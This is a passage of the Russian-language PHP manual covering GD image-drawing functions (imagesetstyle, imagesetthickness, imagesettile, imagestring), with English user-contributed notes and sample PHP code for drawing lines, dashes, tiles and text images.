imagecopyresampled($newImage,$oldImage, $imagesection[$i][0],$imagesection[$i][1], $imagesection[$i][0],$imagesection[$i][1], $imagesection[$i][2]-$imagesection[$i][0], $imagesection[$i][3]-$imagesection[$i][1], $imagesection[$i][2]-$imagesection[$i][0], $imagesection[$i][3]-$imagesection[$i][1]);

        // Alternately you can cycle through each pixel in an image and see if that pixel is an the area
        // but that could be more intensive
        imagedestroy($oldImage);

        // Sets the old image equal to the new, cleared image
        $oldImage = $newImage;
    }

It was made with a transparent background in mind, but you could easily change that by changeing imagecreatetruecolor to imagecreate and deleting the code that deals with transparency. Hope it helps!
d [AT] sprid [DOT] de 14-Jul-2005 02:28
This code does generate a RGB-cube (with or without borders). Because its only rendering the visible pixels its clearly fast (approx 1 up to 2 seconds). With changing the $order-variable you can see the cube from different perspectives. Entering double or tribble values (like rrg or ggg) will give you other specs of single channels. Send any sugestions to my email.

<?php
$borders = true;
$order   = 'rgb';

set_time_limit(0);
$img = imageCreateTrueColor(510, 510);

$bg = imageColorAllocate($img, 255, 255, 255);
$black = imageColorAllocate($img, 255, 255, 255);

for ($r=0; $r<256; $r++) {
  for ($g=0; $g<256; $g++) {
    for ($b=0; $b<256; $b++) {
      $rN = ${$order{0}};
      $gN = ${$order{1}};
      $bN = ${$order{2}};

      $col = imageColorAllocate($img, $rN, $gN, $bN);
      imagesetpixel($img, $b+($r*0.5)+(255/4), $g+($r*0.5)+(255/4), $col);
      if ($r < 255 && $g > 0) break;
    }
  }

  if ($borders) {
    imagesetpixel($img, ($r*0.5+(255/4)), ($r*0.5)+(255/4),     $black);
    imagesetpixel($img, ($r*0.5)+255+(255/4), ($r*0.5)+(255/4), $black);
    imagesetpixel($img, ($r*0.5)+(255/4), ($r*0.5)+255+(255/4), $black);
  }
}

if ($borders) {
  imageline($img, 255/4, 255/4, 255+(255/4), 255/4, $black);
  imageline($img, 255/4, 255/4, 255/4, 255+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
  imageline($img, 255*0.5 + 509*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
}

header("Content-Type: image/png");
imagepng($img);
imagedestroy($img);
?>
bpgordon at gmail dot com 23-May-2005 03:18
This code converts a block of text to an image so that each character in the block defines one pixel in the image and each line in the block (delimited by \n's) builds one whole row of pixels in the image.
Usage: Place a 0 to create a white pixel. Place a 1 to create a black pixel.
Example: Entering the following digits (including the line breaks) will create a 3x3 square with a 1-pixel white border.
00000
01110
01110
01110
00000

<?php
if (isset($_POST["sendtxt"])) {
header("Content-type: image/png");
$splitted = explode("\n", $_POST["sendtxt"]);
foreach ($splitted as $tcurkey => $curval) $tsplitted[$tcurkey] = rtrim($curval);
$splitted = $tsplitted; //referencing isn't working for some reason...
$image = imagecreate(strlen($splitted[1]), count($splitted));
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF); // don't delete this line
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);
foreach($splitted as $curkey => $opelement) {
$subsplitten = preg_split("//", $opelement);
foreach($subsplitten as $subcurkey => $subopelement) {
if ($subopelement == "1" || $subopelement == ".") imagesetpixel($image, $subcurkey-1, $curkey, $black);
}
}
imagepng($image);
imagedestroy($image);
} else {
echo <<<end
<table width="1" border="0"><td>
<form method="post" action="#">
<textarea cols="30" rows="7" name="sendtxt"></textarea><br>
<input type="submit" value="render">
</form></td></table>
end; }
?>
odin<spam inside(C)>dtdm.org 05-Oct-2004 05:36
Just a simple implementation of the Bresenham algorythm (educational purpose....)

You can find more about this and many other tutorials for gfx there: http://brand107.home.comcast.net/pc-gpe/

<?php

/****************************************************
     Bresenham Line Algorythm PHP/GD implementation
****************************************************/
function line($im,$x1,$y1,$x2,$y2,$color){

    $deltax=abs($x2-$x1);
    $deltay=abs($y2-$y1);

    if ($deltax>$deltay) {
     $numpixels=$deltax+1;
     $d=(2*$deltay)-$deltax;
     $dinc1=$deltay << 1; $dinc2=($deltay-$deltax) << 1;
     $xinc1=1; $xinc2=1;
     $yinc1=0; $yinc2=1;
    } else {
     $numpixels=$deltay+1;
     $d=(2*$deltax)-$deltay;
     $dinc1=$deltax << 1; $dinc2=($deltax-$deltay)<<1;
     $xinc1=0; $xinc2=1;
     $yinc1=1; $yinc2=1;
    }

    if ($x1>$x2) {
     $xinc1=-$xinc1;
     $xinc2=-$xinc2;
    }

    if ($y1>$y2) {
     $yinc1=-$yinc1;
     $yinc2=-$yinc2;
    }
    $x=$x1;
    $y=$y1;

    for ($i=0;$i<$numpixels;$i++) {
     imagesetpixel($im,$x,$y,$color);
     if ($d<0) {
      $d+=$dinc1;
      $x+=$xinc1;
      $y+=$yinc1;
     } else {
      $d+=$dinc2;
      $x+=$xinc2;
      $y+=$yinc2;
     }
    }
return ;
}

?>
richard at mf2fm dot co dot uk 24-Aug-2004 02:06
Here is a function that takes an image ($im) and returns it with the contrast maximised...

<?php
function contrast($im) {
    $brightness=0;
    $maxb=0;
    $minb=255;
    $imagesize=getimagesize($im);
    $w=$imagesize[0];
    $h=$imagesize[1];
    for ($x=0; $x<$w; $x++) {
        for ($y=0; $y<$h; $y++) {
            $rgb=imagecolorat($im, $x, $y);
            $rgb=imagecolorsforindex($im, $rgb);
            $grey=0.2125*$rgb['red']+
                0.7154*$rgb['green']+
                0.0721*$rgb['blue'];
            $brightness+=$grey;
            if ($grey>$maxb) $maxb=$grey;
            if ($grey<$minb) $minb=$grey;
        }
    }
    $brightness=$brightness/($w*$h);
    $minb=$brightness/($brightness-$minb);
    $maxb=(255-$brightness)/($maxb-$brightness);
    $contrast=min($minb, $maxb);
    for ($x=0; $x<$w; $x++) {
        for ($y=0; $y<$h; $y++) {
            $rgb=imagecolorat($im, $x, $y);
            $rgb=imagecolorsforindex($im, $rgb);
            imagesetpixel($im, $x, $y,
                65536*floor(min($rgb['red']*$contrast, 255))+
                256*floor(min($rgb['green']*$contrast, 255))+
                floor(min($rgb['blue']*$contrast, 255)));
        }
    }
    return ($im);
}
?>

An example of usage might be:
<?php
$imagefile="/path/filename";
$image=imagecreatefromjpeg($imagefile);
$image=contrast($image);
imagejpeg($image, $imagefile);
?>
chris at drunkenpirates dot co dot uk 13-Sep-2003 05:50
<?php

/*
An example combining the use of ImageColorAllocate, Imagesetpixel, Imagecopyresized and some basic Trig

By chris@drunkenpirates.co.uk

*/

Header("Content-type: image/png");

$height = 128;
$width = 128;

$imA = ImageCreate($width, $height);
$imB = ImageCreate($width*4, $height*4);
$bckA = ImageColorAllocate($imA, 0,0,0);
$bckB = ImageColorAllocate($imB, 0,0,0);

//GENERATE GRAY SCALE PALLETE

for($c=0;$c<256;$c++){
                ImageColorAllocate($imA, $c, $c, $c);
                }

//PRODUCE DATA

$m=rand(0,10);
for($c=0;$c<128;$c++){
                $s=  (sin( deg2rad($c*360*$m/128) )+1)*127;
                $col_arr[$c]=$s;
                }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgA[$x][$y]=$col_arr[$x];
                }
        }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgB[$x][$y]=$col_arr[$y];
                }
        }

//SET PIXELS

for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgC[$x][$y]=$imgA[$x][$y]+$imgB[$x][$y];
                $s=$imgC[$x][$y]/2;
                Imagesetpixel($imA,$x,$y,$s);
                }
        }

//RESIZE IMAGE FOR DISPLAY

Imagecopyresized ($imB, $imA, 0, 0, 0, 0, $width*4, $height*4, $width, $width);
ImagePNG($imB);
?>
dino at nordmark dot dk 31-May-2002 04:28
The example above diden't work, because of some errors.
This should work and it's also faster because there is only one 512*512 loop. (but it is still very slow)

<?
$filename="lena.raw";
$width=512;
$height=512;
$fp=fopen($filename, "r");
$contents=fread($fp,filesize($filename));
fclose($fp);

$image=imagecreate($width,$height);

// create greyscale palette because the image is limited to 256 colors
for ($i=0;$i<256;$i++){ ImageColorAllocate($image,$i,$i,$i);}

// This is slow, but probably the only way
for ($i=0;$i<512;$i++){
   for ($j=0;$j<512;$j++){
   imagesetpixel ($image,$i,$j,ord($contents[$i+$j*512]));
   }
}

imagepng($image,"result.png");
imagedestroy($image);

echo "<img src=result.png></img>";
?>

--

Dino Patti


Установка стиля рисования линий

  • « imagesetpixel
  • imagesetthickness »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Установка стиля рисования линий

imagesetstyle

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagesetstyle — Установка стиля рисования линий

Описание

imagesetstyle(GdImage $image, array $style): bool

imagesetstyle() задаёт стиль, который будет использоваться функциями рисования линий (такими как imageline() и imagepolygon()) при задании специального цвета IMG_COLOR_STYLED или IMG_COLOR_STYLEDBRUSHED.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

style

Массив с цветами пикселов. Можно использовать константу IMG_COLOR_TRANSPARENT для добавления прозрачной точки. Обратите внимание, что style не должен быть пустым массивом.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Следующий пример рисует пунктирную линию из левого верхнего угла изображения в правый нижний:

Пример #1 Пример использования imagesetstyle()

<?php
header("Content-type: image/jpeg");
$im = imagecreatetruecolor(100, 100);
$w = imagecolorallocate($im, 255, 255, 255);
$red = imagecolorallocate($im, 255, 0, 0);

/* Рисование пунктирной линии, 5 красных точек, 5 белых */
$style = array($red, $red, $red, $red, $red, $w, $w, $w, $w, $w);
imagesetstyle($im, $style);
imageline($im, 0, 0, 100, 100, IMG_COLOR_STYLED);

/* Рисование линии из смайликов, используя imagesetbrush() с imagesetstyle */
$style = array($w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $red);
imagesetstyle($im, $style);

$brush = imagecreatefrompng("http://www.libpng.org/pub/png/images/smile.happy.png");
$w2 = imagecolorallocate($brush, 255, 255, 255);
imagecolortransparent($brush, $w2);
imagesetbrush($im, $brush);
imageline($im, 100, 0, 0, 100, IMG_COLOR_STYLEDBRUSHED);

imagejpeg($im);
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagesetstyle()

Смотрите также

  • imagesetbrush() - Установка изображения (кисти), посредством которого будут рисоваться линии
  • imageline() - Рисование линии

User Contributed Notes

dazbert 21-Mar-2017 05:26
To clarify, for lines where the thickness is greater than 1, the total length of the $style array needs to be an exact divisor of the length of the line.

This is because the pattern is repeated lengthways and wraps onto the second row of pixels, causing staggering to occur.

So if you have 5 red and 5 white pixels, and you want a line length of 55 pixels, either change the length to a multiple of 10, or change the dashes to, say, 6 red and 5 white.
Anonymous 22-Oct-2012 04:03
a shortcut for basic dashed lines, making it easy to adjust the lengths:

<?php

$length1 = 20;
$length2 = 10;
$style = array_merge(array_fill(0, $length1, $red), array_fill(0, $length2, $w));
imagesetstyle($im, $style);

?>
php at imperium dot be 06-Aug-2010 07:05
Be aware that styles are applied towards the width of the line instead of linear.
To convert a style to be used for thick lines you can use the function below:

<?php
/*
ImageStyleThicken(<aStyle>,<iThickness>) --> <aThickStyle>

<aStyle> is the style array for a thickness of 1 (see imagesetstyle()).
<iThickness> is the new thickness to apply (see imagesetthickness()).

<aThickStyle> is the style array suitable for the given thickness.
*/
function ImageStyleThicken($_1,$_2) {
    $a = array();
    foreach ($_1 as $x) {
        $i = $_2;
        do $a[] = $x; while (--$i>0); }
    return $a;
}
?>
Wander 13-Dec-2007 11:12
Function to make a line with random fading:

<?php
    function fading_line($img,$sx,$sy,$ex,$ey){
        $r=rand(0,5);$g=rand(0,5);$b=rand(0,5);
        $l=sqrt((($ex-$sx)*($ex-$sx))+(($ey-$sy)*($ey-$sy)));
        for($i=0;$i<$l;$i++){
            $a = array(255-((255/$l)*$i), 255,0,(255/$l)*$i/2,(255/$l)*$i,(255-((255/$l)*$i))/2);
            $style[]=imagecolorallocate($img,$a[$r],$a[$g],$a[$b]);
        }
        imagesetstyle($img,$style);
        imageline($img,$sx,$sy,$ex,$ey,IMG_COLOR_STYLED);
    }

    fading_line($img,10,20,490,40);    // image, start x, start y, end x, end y
?>
Michael_Todd_335 at yahoo dot com 27-Jun-2007 09:40
Watch out! If you pass imagesetstyle() an empty array as the second argument, it will crash your server!
I was messing with it just earlier and accidentally did so, and the page took a good minute to process, when my Apache server came up with the good ol' Windows 'Send Error Report' window.
Cruz at FtUC dot net 15-Jan-2006 03:45
When lines drawn with imagesetstyle seem to produce a thin white line only, make sure antialiasing is disabled.

<?
  imageantialias($im, false);
  $style = array($gridxcolor, $gridxcolor, IMG_COLOR_TRANSPARENT, IMG_COLOR_TRANSPARENT);
  imagesetstyle($im, $style);
  imageline($im, $x, 0, $x, $ymax+5, IMG_COLOR_STYLED);
  imageantialias($im, true);
?>

Setstyle and Antialias don't go together.
zackbloom at gmail dot com 06-Dec-2005 02:44
Use this to set the style to any combination of pixels.
You can pass as many modifiers as you wish.
Use the format [num]r[red]g[green]b[blue].

For example:

$im=dashed($im,"4r255g0b0","2r0g255b0","5r0g0b255");
imageline($im, 0, 0, 600, 600, IMG_COLOR_STYLED);

function dashed($im){
$size = func_num_args();
for($i = 0; $i < $size; $i++){
$arg = func_get_arg($i);
if(!is_resource($arg)){
$r=substr($arg,strpos($arg,"r")+1,
strpos($arg,"g")-strpos($arg,"r")-1);
$g=substr($arg,strpos($arg,"g")+1,
strpos($arg,"b")-strpos($arg,"g")-1);
$b=substr($arg,strpos($arg,"b")+1,
strlen($arg)-strpos($arg,"b"));
$color = imagecolorallocate($im,$r,$g,$b);
$x = substr($arg,0,strpos($arg,"r"));
$vals[$i] = array_fill(0,$x,$color);
}
}
for($k=0;$k<count($vals)+1;$k++)
if(array_key_exists($k,$vals)) $prop=array_merge($prop,$vals[$k]);
imagesetstyle($im, $prop);
return $im;
}


Установка толщины линий

  • « imagesetstyle
  • imagesettile »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Установка толщины линий

imagesetthickness

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagesetthickness — Установка толщины линий

Описание

imagesetthickness(GdImage $image, int $thickness): bool

imagesetthickness() задаёт значение толщины линий для рисования отрезков, прямоугольников, многоугольников, эллипсов и т.п. в thickness пикселов.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

thickness

Толщина в пикселах.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagesetthickness()

<?php
// Создание изображения 200x100
$im = imagecreatetruecolor(200, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

// Установка белого фона
imagefilledrectangle($im, 0, 0, 299, 99, $white);

// Установка толщины линий 5 пикселов
imagesetthickness($im, 5);

// Рисование прямоугольника
imagerectangle($im, 14, 14, 185, 85, $black);

// Вывод изображения в броузер
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagesetthickness()

User Contributed Notes

gmail.com@mspreij 15-Apr-2016 01:11
As you can see in the example image, the left and right sides are 1 px wider than they should be, this is the case for every width > 1.
Wrote this function to fix that bit.. probably not a drop-in replacement though. It draws a rectangle *around* the given coordinates, for any width line.

<?php
// draw a $width-wide line AROUND the given coordinates, keeping in mind 0,0,1,1 yields a 2?2 square
function imagelinerectangle($img, $x1, $y1, $x2, $y2, $color, $width=1) {
    imagefilledrectangle($img, $x1-$width, $y1-$width, $x2+$width, $y1-1, $color);
    imagefilledrectangle($img, $x2+1, $y1-$width, $x2+$width, $y2+$width, $color);
    imagefilledrectangle($img, $x1-$width, $y2+1, $x2+$width, $y2+$width, $color);
    imagefilledrectangle($img, $x1-$width, $y1-$width, $x1-1, $y2+$width, $color);
}
?>
azinkey at gmail dot com 30-Jul-2013 10:51
thanks circle14,

just change the line & see its solved what we need for ellipse

while ($line < $thickness) {
        $line++;
        $elipse_w--;
        imageellipse($image, $pos_x, $pos_y, $elipse_w, $elipse_h, $color);
        $elipse_h--;
    }
fred at nowhere dot fr 10-Oct-2009 12:05
One thing worse to mention is that imagesetthikness() works on the next object you draw.
For ex : you can draw a grid within a grapg with a thickness of 1

by invoking imagesetthickness($image, 1);

... script to draw your grid...

and then invoke imagesetthikness with a draw your graph lines with a thickness of 3
imagesetthickness($image, 3);
... script to draw your graph lines...

Hope this helps...
jean-raymond dot chauviere at gmail dot com 30-Jun-2009 01:20
An easier to manage thickness is, before to draw in the ellipse to play with 2 ellipse with different color :

<?php
        imagefilledellipse  ($this->image,60,42,57,57,$drawColor);
        imagefilledellipse  ($this->image,60,42,45,45,$backColor);
?>

The first line draw a filled ellipse with the wanted color, and the 2nd one, draw an ellipse with the background color from the same center, but is smaller.

The drawback of this method is that you erase everything in the middle of the ellipse.
admin at circle14 dot net 01-Feb-2009 05:33
Here is a custom function I wrote that addresses the line thickness issues with ellipses :

<?php
function draw_oval ($image, $pos_x, $pos_y, $elipse_width, $elipse_height, $color, $px_thick) {
    $line = 0;
    $thickness = $px_thick;
    $elipse_w = $elipse_width;
    $elipse_h = $elipse_height;
    while ($line < $thickness) {
        imageellipse($image, $pos_x, $pos_y, $elipse_w, $elipse_h, $color);
        $line++;
        $elipse_w--;
        $elipse_h--;
    }
}
?>

I hope you find this useful.
bpatru at gmail dot com 28-Sep-2008 01:01
Apparently imagesetthickness doesn't work if antialiasing is set to true.
baldurien at bbnwn dot eu 11-Mar-2008 04:28
The way that imagesetthickness works with imagerectangle() is pretty strange.

<?php
imagesetthickness(1);
imagerectangle($im, 10, 10, 50, 50, $red);
?>

This will draw a 41x41 square (because gd need the bottom right pixel, inclusive. 50 should get replaced by 49). This will "work" like:

<?php
imageline($im, 10, 10, 10, 50, $red);
imageline($im, 10, 10, 50, 10, $red);
imageline($im, 50, 10, 50, 50, $red);
imageline($im, 10, 50, 50, 50, $red);
?>

The second example:

<?php
imagesetthickness(2);
imagerectangle($im, 10, 10, 50, 50, $red);
?>

This will draw a 43x43 square because the border (thickness) is set to 2. *however* this is not a "regular" border of 2 pixels around the 41x41 original square!

On the left and right, there will be a thickness of 3, while there we be a thickness of 2.

If you take the imageline example, but set the thickness before to 2, this will *almost* do the trick: the left most pixel of the square will not be drawn.

To conclude:

1) do not forget that (width, height) of drawn rectangle is (x2-x1+1, y2-y1+1)
2) thickness is bad implemented (or at least, the behavior i s not documented) on rectangle, as the left/right thickness is not the wanted one.
3) 4*imageline() should do the trick, but after "patching" the top left pixel.
ab at cd dot com 27-Jun-2007 04:05
Note: Also, for me (working under PHP 5.0.2) this function ONLY seems to work with imageline...
-private- 28-Mar-2007 01:01
There is a known bug. Imagesetthickness is NOT working on ellipse.


Установка изображения, которое будет использовано в качестве элемента мозаичной заливки

  • « imagesetthickness
  • imagestring »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Установка изображения, которое будет использовано в качестве элемента мозаичной заливки

imagesettile

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagesettile — Установка изображения, которое будет использовано в качестве элемента мозаичной заливки

Описание

imagesettile(GdImage $image, GdImage $tile): bool

imagesettile() задаёт изображение, которое будет использовано в качестве элемента мозаичной заливки такими функциями, как imagefill() и imagefilledpolygon() при использовании специального цвета IMG_COLOR_TILED.

Это изображение используется для замощения области изображения его копиями. Может использовать любое GD изображение. А если задать прозрачный цвет для этого изображения функцией imagecolortransparent(), некоторые части нижележащего изображения будут просвечивать через созданную мозаику.

Предостережение

Дополнительных действий после завершения работы с мозаичным элементом не требуется, однако если это изображение будет удалено (или позволить PHP удалить его), нельзя использовать цвет IMG_COLOR_TILED до тех пор, пока не будет задано новое изображение!

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

tile

Объект изображения для использования в мозаике.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image и tile теперь ожидают экземпляр GdImage; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования imagesettile()

<?php
// Загрузка внешнего изображения
$zend = imagecreatefromgif('./zend.gif');

// Создание изображения 200x200
$im = imagecreatetruecolor(200, 200);

// Установка мозаичного элемента
imagesettile($im, $zend);

// Заливка
imagefilledrectangle($im, 0, 0, 199, 199, IMG_COLOR_TILED);

// Вывод картинки в броузер
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
imagedestroy($zend);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagesettile()

User Contributed Notes

onion at ooer dot com 07-Nov-2005 12:31
If you're using a tile image that has some form of transparency you'll need to make sure your destination image is set to use alpha blending. By default it will be, but if for any reason you've changed it you'll need to do:

imagealphablending($image,true);

before any operation using IMG_COLOR_TILED.
aquilo at xtram dot net 01-Jun-2004 06:30
There is very little information about this function so I thought I'd add a few notes I found while trying to get this

working.

First make sure your version of PHP is above 4.3.2 I spent an hour searching goggles 13000+ mirrors of this same page and

finally found the info I needed at AltaVista, there is a bug in PHP 4.3.2 that makes this none functional.

if your creating the base image you need to create it with imageCreateTrueColor() if your using a PNG with transparency, I

found even nullifying the PNG's transparency with GD doesn't work. the tiling PNG has to be created without transparency to work with imageCreate(). but from what I've seen imageCreateFromXXX() can use transparent and nonetransparent PNG's.

here is an example.
<?php
    $diagramWidth = 300;
    $diagramHeight = 50;

    $image = imageCreateTrueColor ($diagramWidth, $diagramHeight);
    $imagebg = imageCreateFromPNG ('tile.png'); // transparent PNG

    imageSetTile ($image, $imagebg);
    imageFilledRectangle ($image, 0, 0, $diagramWidth, $diagramHeight, IMG_COLOR_TILED);

    $textcolor1 = imageColorAllocate ($image, 80, 80, 80);
    $textcolor2 = imageColorAllocate ($image, 255, 255, 255);

    imageString ($image, 3, 10, 20, 'Transparent PNG Tile Test...', $textcolor1);
    imageString ($image, 3,  9, 19, 'Transparent PNG Tile Test...', $textcolor2);

    Header("Content-type: image/png");
    imagePNG ($image);

    imagedestroy ($image);
    imagedestroy ($imagebg);
?>

hope this helps someone else!
Aquilo


Рисование строки текста горизонтально

  • « imagesettile
  • imagestringup »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование строки текста горизонтально

imagestring

(PHP 4, PHP 5, PHP 7, PHP 8)

imagestring — Рисование строки текста горизонтально

Описание

imagestring(
GdImage $image,
GdFont|int $font,
int $x,
int $y,
string $string,
int $color
): bool

Рисует текст string на заданных координатах.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

font

Может принимать значения 1, 2, 3, 4, 5 для встроенных шрифтов в кодировке latin2 (более высокое число соответствует большему шрифту) или экземпляр GdFont, возвращаемый функцией imageloadfont()..

x

x-координата верхнего левого угла.

y

y-координата верхнего левого угла.

string

Строка текста.

color

Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр font теперь принимает как экземпляр GdFont, так и целое число (int); ранее принималось только целое число (int).
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagestring()

<?php
// Создание изображения 100*30
$im = imagecreate(100, 30);

// Белый фон, синий текст
$bg = imagecolorallocate($im, 255, 255, 255);
$textcolor = imagecolorallocate($im, 0, 0, 255);

// Надпись в левом верхнем углу
imagestring($im, 5, 0, 0, 'Hello world!', $textcolor);

// Вывод изображения
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagestring()

Смотрите также

  • imagestringup() - Рисование строки текста вертикально
  • imageloadfont() - Загрузка шрифта
  • imagettftext() - Рисование текста на изображении шрифтом TrueType

User Contributed Notes

wheberson dot com dot br at gmail dot com 02-May-2019 05:55
// Convert e-mail to image (png)
function convertEmailToImg ($aValue, $aRed, $aGreen, $aBlue, $aAlphaF=0, $aAlphaB=127, $aFontSize=4)

{
    $img= imagecreatetruecolor (imagefontwidth ($aFontSize) * strlen ($aValue), imagefontheight ($aFontSize));
    imagesavealpha ($img, true);
    imagefill ($img, 0, 0, imagecolorallocatealpha ($img, 0, 0, 0, $aAlphaB));
    imagestring ($img, $aFontSize, 0, 0, $aValue, imagecolorallocatealpha ($img, $aRed, $aGreen, $aBlue, $aAlphaF));
    ob_start ();
    imagepng ($img);
    imagedestroy ($img);
    return base64_encode (ob_get_clean ());
}

// Example
$imgString= convertEmailToImg ('contact@example.com', 0, 0, 255, 0, 127, 4);
Booteille 14-Jan-2015 12:56
Here is a function with similar declaration of imagestring() but who handles whitespaces (It creates new lines and 4 spaces instead of \n and \t) and image's size limits

<?php

/**
 * @author Booteille
 *
 * @param resource $image
 * @param int $font
 * @param int $x
 * @param int $y
 * @param string $string
 * @param int $color
 */
function whitespaces_imagestring($image, $font, $x, $y, $string, $color) {
    $font_height = imagefontheight($font);
    $font_width = imagefontwidth($font);
    $image_height = imagesy($image);
    $image_width = imagesx($image);
    $max_characters = (int) ($image_width - $x) / $font_width ;
    $next_offset_y = $y;

    for($i = 0, $exploded_string = explode("\n", $string), $i_count = count($exploded_string); $i < $i_count; $i++) {
        $exploded_wrapped_string = explode("\n", wordwrap(str_replace("\t", "    ", $exploded_string[$i]), $max_characters, "\n"));
        $j_count = count($exploded_wrapped_string);
        for($j = 0; $j < $j_count; $j++) {
            imagestring($image, $font, $x, $next_offset_y, $exploded_wrapped_string[$j], $color);
            $next_offset_y += $font_height;

            if($next_offset_y >= $image_height - $y) {
                return;
            }
        }
    }
}

?>
jordanslost at gmail 04-Sep-2009 04:52
Here is a small bit I made for writing to a image from right to left when you are limited to imagestring()

<?php

        $pageview_letters = preg_split('//', $string, -1 ); // Form are original array of letters.
        $minus = 6; // The letter spacing in pixels
        $first = true; // Whether or not we have started the string
        $x = 375; // X Location of imagestring
        $y = 23; // Y Location of imagestring
        $letters = array(); // Initiate the array o letters.

        foreach ( $pageview_letters as $letter ) {

            $letters[] = $letter;

        }

        $letters = array_reverse( $letters );

        foreach ( $letters as $letter ) {

            if ( $first ) {

                imagestring( $image, 2, $x, $y, $letter, $light_blue );
                $first = false;

            } else {

                $x = ( $x - $minus );
                imagestring( $image, 2, $x, $y, $letter, $light_blue );

            }

        }
?>
eric dot brison at anakeen dot com 24-Apr-2009 12:51
Same function as above but it can display multi-line strings.
<?php
function sendimagetext($text) {
  // Set font size
  $font_size = 4;

  $ts=explode("\n",$text);
  $width=0;
  foreach ($ts as $k=>$string) { //compute width
    $width=max($width,strlen($string));
  }

  // Create image width dependant on width of the string
  $width  = imagefontwidth($font_size)*$width;
  // Set height to that of the font
  $height = imagefontheight($font_size)*count($ts);
  $el=imagefontheight($font_size);
  $em=imagefontwidth($font_size);
  // Create the image pallette
  $img = imagecreatetruecolor($width,$height);
  // Dark red background
  $bg = imagecolorallocate($img, 0xAA, 0x00, 0x00);
  imagefilledrectangle($img, 0, 0,$width ,$height , $bg);
  // White font color
  $color = imagecolorallocate($img, 255, 255, 255);

  foreach ($ts as $k=>$string) {
    // Length of the string
    $len = strlen($string);
    // Y-coordinate of character, X changes, Y is static
    $ypos = 0;
    // Loop through the string
    for($i=0;$i<$len;$i++){
      // Position of the character horizontally
      $xpos = $i * $em;
      $ypos = $k * $el;
      // Draw character
      imagechar($img, $font_size, $xpos, $ypos, $string, $color);
      // Remove character from string
      $string = substr($string, 1);
    }
  }
  // Return the image
  header("Content-Type: image/png");
  imagepng($img);
  // Remove image
  imagedestroy($img);
}
?>
mike at mike-griffiths dot co dot uk 19-Dec-2008 12:07
I created an alternative using the function imagechar to create a string of an image.  The below function below was used to create an image the same height and width of the text string.  It is used on my website to mask users email addresses.

<?PHP

// Set your string somehow
$string = 'your@example.com';

// Set font size
$font_size = 4;

// Create image width dependant on width of the string
$width  = imagefontwidth($font_size)*strlen($string);
// Set height to that of the font
$height = imagefontheight($font_size);
// Create the image pallette
$img = imagecreate($width,$height);
// Grey background
$bg    = imagecolorallocate($img, 25, 25, 25);
// White font color
$color = imagecolorallocate($img, 255, 255, 255);
// Length of the string
$len = strlen($string);
// Y-coordinate of character, X changes, Y is static
$ypos = 0;
// Loop through the string
for($i=0;$i<$len;$i++){
    // Position of the character horizontally
    $xpos = $i * imagefontwidth($font_size);
    // Draw character
    imagechar($img, $font_size, $xpos, $ypos, $string, $color);
    // Remove character from string
    $string = substr($string, 1);

}
// Return the image
header("Content-Type: image/gif");
imagegif($img);
// Remove image
imagedestroy($img);

?>
keksnicoh at googlemail dot com 02-Nov-2008 10:42
Some fun with imagestring:

This function is a product of too much time..
It opens an image and create a new image with one letter instead of a pixel.

<?php
error_reporting(E_ALL);
/**
 * generates a image with chars instead of pixels
 *
 * @param string $url Filepath or url
 * @param string $chars The chars which should replace the pixels
 * @param int $shrpns Sharpness (2 = every second pixel, 1 = every pixel ... )
 * @param int $size
 * @param int $weight font-weight/size
 * @return sesource
 * @author Nicolas 'KeksNicoh' Heimann <www.salamipla.net>
 * @date 02nov08
 */
